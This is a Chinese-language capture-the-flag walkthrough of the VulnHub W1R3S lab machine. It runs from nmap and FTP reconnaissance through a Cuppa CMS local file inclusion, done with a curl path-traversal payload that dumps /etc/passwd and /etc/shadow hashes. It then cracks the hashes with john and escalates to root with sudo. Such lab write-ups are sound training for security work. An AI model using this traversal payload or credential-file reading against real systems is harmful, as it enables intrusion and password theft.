vulnhub - w1r3s.v1.0.1
高质量视频教程 - b站红队笔记
靶机下载
本地环境
本机ip:192.168.157.131
w1r3s虚拟机设置NAT模式
信息收集
扫描网段得到攻击机ip:192.168.157.158
详细信息扫描
nmap -A -p- 192.168.157.158
开放了四个端口
21 FTP协议(可匿名登录访问)
22 SSH
80 http
3306 mysql
FTP匿名登录访问
目录结构与账户已通过nmap获取
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
用户名Anonymous,空密码
在content目录下发现txt文件,下载到本机上查看
prompt #省去交互式确认
mget *.txt #下载所有txt文件
02.txt
内密文是MD5与base64
It is easy, but not that easy..
在docs/worktodo.txt
得到
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
在new-employees/employee-names.txt
得到员工信息
The W1R3S.inc employee listNaomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
网站扫描
dirsearch -u 192.168.157.158
主要关注/administrator
,/wordpress
访问http://192.168.157.158/administrator/installation/
由网页标签得知是Cuppa CMS系统
LFI漏洞
使用searchsploit查找漏洞
searchsploit cuppa CMS
searchsploit -m php/webapps/25971.txt #下载到当前目录下
阅读一下得知是LFI漏洞,攻击者可利用此漏洞包含本地或远程PHP文件或读取非PHP文件
/alerts/alertConfigField.php文件urlConfig
参数存在LFI漏洞,可以利用特殊的url,查看本地文件
利用curl来查看
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.157.158/administrator/alerts/alertConfigField.php
--data-urlencode
选项会对键值对中的特殊字符进行 URL 编码主要用于对 POST 请求中的数据进行 URL 编码
得到以下数据
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
x
在 /etc/passwd
文件中通常表示密码字段已经被哈希加密,实际的密码存储在 /etc/shadow
文件中。在过去的 Unix 系统中,/etc/passwd
文件存储用户账户信息,包括用户名和密码字段。然而,为了增加密码的安全性,现代的 Unix 系统通常将用户密码从 /etc/passwd
文件中移出,单独存储在 /etc/shadow
文件中,而在 /etc/passwd
中使用占位符代表密码字段。
所以现在去读取 /etc/shadow
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::
有了hash自然先去尝试john爆破
john爆破
取出有hash值的用户,另存为shadow.hash
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
ssh登入w1r3s用户,尝试提权
根据提示,用户 w1r3s
在主机 W1R3S.localdomain
上具有完全的 sudo
权限,可以以任何身份运行任何命令。
sudo /bin/bash
提权成功,在/root
下拿到flag
笔记
写于自己打完全程后,观看红队笔记的讲解视频,记录下一些细节性的技巧与思路
nmap -sT --min-rate 10000 -p- 192.168.157.158 -oA nmapscan/ports
-sT
:指定使用 TCP 连接进行端口扫描。TCP 扫描是 nmap 的默认扫描类型。--min-rate 10000
:设置最小扫描速率为 10000 packets/sec(数据包/秒)。这将控制 nmap 发送扫描请求的速度。-p-
:指定扫描所有端口。-p-
表示扫描范围为从端口 1 到 65535 的所有端口。-oA nmapscan/ports
:指定输出文件的前缀为nmapscan/ports
。这将生成三个文件,包括一个文本文件(.txt
)、一个 XML 文件(.xml
)和一个 Nmap 脚本引擎文件(.nmap
),用于存储扫描结果。
整体效果:该命令将使用 nmap 工具执行 TCP 端口扫描,扫描范围为目标主机的所有端口,扫描速率为每秒 10000 个数据包。扫描结果将被保存为文本、XML 和 Nmap 脚本引擎文件,并存储在名为 nmapscan/ports
的目录中
tips:在红队行动中--min-rate
速率要尽量慢
筛选
当扫描结果中开放的端口较多时,可用以下方法筛选
grep open nmapscan/ports.nmap
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}'
grep open nmapscan/ports.nmap
:使用grep
命令在nmapscan/ports.nmap
文件中查找包含 "open" 的行。grep
是一个文本搜索工具,用于在文件中查找匹配指定模式的行。|
:管道符号,将前一个命令的输出作为后一个命令的输入。awk -F '/' '{print $1}'
:使用awk
命令对前一个命令的输出进行处理。awk
是一种文本处理工具,它按照指定的字段分隔符来解析输入,并对每行进行处理。-F '/'
:指定字段分隔符为/
,这样每行就会被分成多个字段。'{print $1}'
:打印每行的第一个字段。在这个命令中,我们使用/
作为字段分隔符,因此$1
表示每行的第一个字段,即端口号。
整体效果:该命道的作用是在 nmapscan/ports.nmap
文件中查找包含 "open" 的行,并提取出这些行中的端口号。输出将只包含端口号,每个端口号占一行
若使端口号一行展示可用paste
命令
┌──(root㉿kali)-[/home/kali/桌面]
└─# grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
21,22,80,3306
paste
是一个命令行工具,用于将多个文件的内容进行列对齐,并输出到标准输出或指定的文件中。-s
选项表示将多个文件的内容进行串联,而不是逐行对齐。也就是说,它将多个文件的内容连接成一行输出。-d ','
选项指定了列之间的分隔符为逗号(,
)。这样,每个列之间将用逗号分隔。
将结果存入变量
ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
ports=$(...)
:将整个命令的输出结果赋值给变量 ports
详细扫描
nmap -sT -sV -sC -O -p21,22,80,3306 192.168.157.158 -oA nmapscan/detail
输入-p$ports
后按tab即可显示为-p21,22,80,3306
-sV
:启用版本探测,用于尝试识别目标主机上运行的服务的版本信息。-sC
:启用默认脚本扫描,使用一组常用脚本来检测目标主机上的漏洞和安全问题。-O
:启用操作系统探测,尝试识别目标主机的操作系统类型。-p21,22,80,3306
:指定要扫描的端口列表,包括 21(FTP)、22(SSH)、80(HTTP)和 3306(MySQL)。
扫描UDP
nmap -sU --top-ports 20 192.168.157.158 -oA nmapscan/udp
-sU
:指定使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。--top-ports 20
:指定扫描的端口数目为 20。该参数会使 nmap 扫描目标主机上最常见的 20 个 UDP 端口。
关于ftp的小细节
登入后第一时间输入
ftp > binary #切换到二进制模式
可以防止下载的二进制文件损坏
对于加密数据
使用工具hash-identifier
识别